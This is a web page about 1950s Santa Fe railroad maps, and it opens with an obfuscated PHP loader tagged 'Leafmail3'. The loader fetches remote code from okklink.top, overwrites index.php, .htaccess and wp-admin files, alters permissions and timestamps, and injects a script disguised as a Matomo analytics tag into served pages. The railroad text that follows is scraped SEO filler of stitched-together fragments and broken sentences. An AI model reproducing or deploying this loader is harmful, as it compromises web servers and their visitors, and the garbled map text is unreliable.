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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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Santa fe railroad map 1950. Railroad Commission of Texas. M. Scale not given. 12 $ 13. Then, in the mid-1950s the train was given more upgrades, this time to the extent that the El Cap earned near legendary status. Chicago (Ill. Context. The model started as a modified Con-Cor engine with an extra sand dome, etched/styrene number board, new 3D printed cab by MJMX Models, Detail Associates pilot and Elesco feedwater heater, new 20000 gallon 3D printed (resin casting) tenders and etchings from ATSF N Scale Models, with a DCC Tsunami decoder and speaker in the The Atchison, Topeka and Santa Fe Railway (the AT&SF, generally known as "the Santa Fe") looms large in the railroad history of the Southwest. 1 km). Printed on semi-glossy, 48 lb paper and measures 11" x 17". At the insistence of the U. On February 9, 1880, the Atchison, Topeka and Santa Fe Railway Company ushered its inaugural train into the Santa Fe, New Mexico station, marking the event with speeches and a parade. Map shows existing and under-construction railroad lines across the Southwestern United States; boundary lines, cities and towns along and near railroad routes, Native American reservations, national parks, and points of interest. This map is part of the collection entitled: Rescuing Texas History, 2010 and was provided by the Midwestern State University to The Portal to Texas History, a digital repository hosted by the UNT Libraries. Santa Fe Railway Collection – L. Part of the train’s phenomenal success was its appeal and character. Abstract: Primary holdings in this category are architectural renderings, construction & right of way maps, construction & right of way maps, engineering schematics, and maps of cities & railroad lines of the Atchison, Topeka, and Santa Fe (AT&SF) Railway, its predecessors, and subsidiaries; included are general maps showing cities, states, & regions and maps of other railroads Maps of Santa Fe Railroad Note Pad Vintage 1950s Pocket note pad from the Atchison Topeka Santa Fe Railway The back cover features the ATSF railroad route map Tear out sheets for convenience Condition: Wear around the edges and on the corners. ) Place of creation. Length. At its peak, the Santa Fe system was comprised of about 11,000 miles of rail stretching from Chicago in the east to Los Angeles in the west, serving 11 states in-between. 1907 & 1911 Track & Stock Scales 1907 ATSF RR Co. It found one in the powerful and world-renowned Santa Fe. NAID stands for National Archives Identifier, a unique string of numbers that identifies records in the National Archives Catalog. Plan of Sup'ts House, incl. As such, most of the abandoned lines here are of AT&SF and MP heritage. industry Join this channel to get access to perks:https://www. Transportation Division. The Western Lines kept a table and a map. Its images are freely downloadable in high resolution for printing or minute study, but in the case of multiple images, it gets a bit unwieldy to view them similtaneously. Oklahoma Digital Maps: Digital Collections of Oklahoma and Indian Territory As initially built these cars pre-dated Santa Fe’s map and slogan stenciling program, which was initiated in 1940. The brochure was ostensibly an introduction to the Santa Fe & Disneyland Railroad at Disneyland, then only a year old. Inset: [Map of connecting railroads through Mexico]. Relief shown by hachures. While the Scout was still listed in 1953, since 1949 it was merely a connecting train to the California Limited on Santa Fe’s southern route through the Texas panhandle; after 1953, the name would be dropped completely. Somewhat surprisingly, the ATSF mainline didn’t actually serve the city of Santa Fe, which was only reachable via a branch line. Measures 4-3/4 inches x 2-1/2 inches Packaged in a p In the 1950s, the Santa Fe Railway’s Los Angeles Division included main lines from the east between Barstow, California and Los Angeles and south from Los Angeles to San Diego. Aug 23, 2024 · By: Adam Burns. To put this event in historical perspective, at that time Rutherford B. credit is always given! BE NICE!!! 1 engraving : uncolored ; overall 62. Families, 24-Men Bunk Hse, & 5-Unit Hse for Abajo Timber Treating Plant at Albuquerque, NM. Printed and shipped from Missouri. Apr 16, 2020 · The Santa Fe Railway – officially known as the Atchison, Topeka and Santa Fe Railway or ATSF - is undoubtably one of the most well recognized railroads in American history. Track gauge. Holliday and brought to life through the relentless Map of the western United States from Kansas City to the Pacific showing relief by shading, drainage, state boundaries, military and Indian reservations, railroads with main lines in heavy black; lists stage Contributor: Atchison, Topeka, and Santa Fe Railroad Company - Poole Brothers Date: 1884-01-01 Nov 22, 2013 · A simply gorgeous mid-1950s map of the AT&SF’s passenger routes, taken from a promotional brochure produced in conjunction with Disneyland, which is shown prominently to the right of the map. Jul 14, 2020 · The Museum was fortunate to have had a close relationship with the Dallas office of Santa Fe’s Public Relations Department. Dating back to the mid-1960s during the Museum’s formative years, requests for donation of items were nearly always favorably met by the railroad. The trails gave way to the state's railroads. Aug 28, 2024 · The selections chosen for inclusion in the accompanying digital collection Railroad Maps, 1828 to 1900 were based on Railroad maps of the United States. Santa Fe Railway 1950 Map - 11x17 Poster. Afterward, the Santa Fe began to expand in California and took control of several lines, including the Gulf, Colorado & Santa Fe Railway in 1886 and a line between Wichita and Fort Worth in 1887; lines from Primary holdings in this category are architectural renderings, construction & right of way maps, construction & right of way maps, engineering schematics, and maps of cities & railroad lines of the Atchison, Topeka, and Santa Fe Railway, its predecessors, and subsidiaries; included are general maps showing cities, states, & regions and maps of Sep 7, 2024 · In addition, while Missouri Pacific did not have the presence here of some railroads (like the Santa Fe, Frisco, and Katy), many of the lines it did operate have since been removed: Much of the old Midland Valley Railroad (acquired by subsidiary Texas & Pacific) between Fort Smith, Arkansas and Wichita, Kansas is gone. Santa Fe's marketing advantage for the Super Chief lay in the geography of the route as well as its ownership. In designing the new Super Chief the Santa Fe wanted not only a contemporary passenger train but also one that reflected the railroad’s long-held relationship with Native American’s of the Southwest. Houses for 4 Mex. This is a quick and handy way to locate ROW's. Creation Information. Nov 9, 2014 · 1950s, passenger rail, rail map, Texas, Texas and Pacific, Texas and Pacific Railroad, Texas Eagle, ticket, USA Great little system map from the back of a ticket. ” The first Santa Fe depot, in Ponca City, Oklahoma. Brock Lowman. First Railroad * The Atchison, Topeka & Santa Fe was the first railroad to arrive in New Mexico. Both first and second editions include state maps for Illinois, Kansas, Iowa, Colorado, Missouri, New Mexico, Arizona, California, Nevada, Utah, Oklahoma (Indian Territory) and Texas as well as complete maps of the United States and Mexico. The El Capitan was a streamlined passenger train operated by the Atchison, Topeka and Santa Fe Railway ("Santa Fe") between Chicago, Illinois, and Los Angeles, California. Mar 29, 2024 · Please visit Railroad Maps in the Cartographic Research Room for more information on railroad maps held by the National Archives. HURLEY RAILWAY MAPS Issue Date: 8/23/2016 Hurley Maps Collection Page 3 of 4 1157 ATSF Railway Co Regional Connections Engineering & Technology Develop- ment Kansas City Feb 12, 1993 Revised Sept 12, 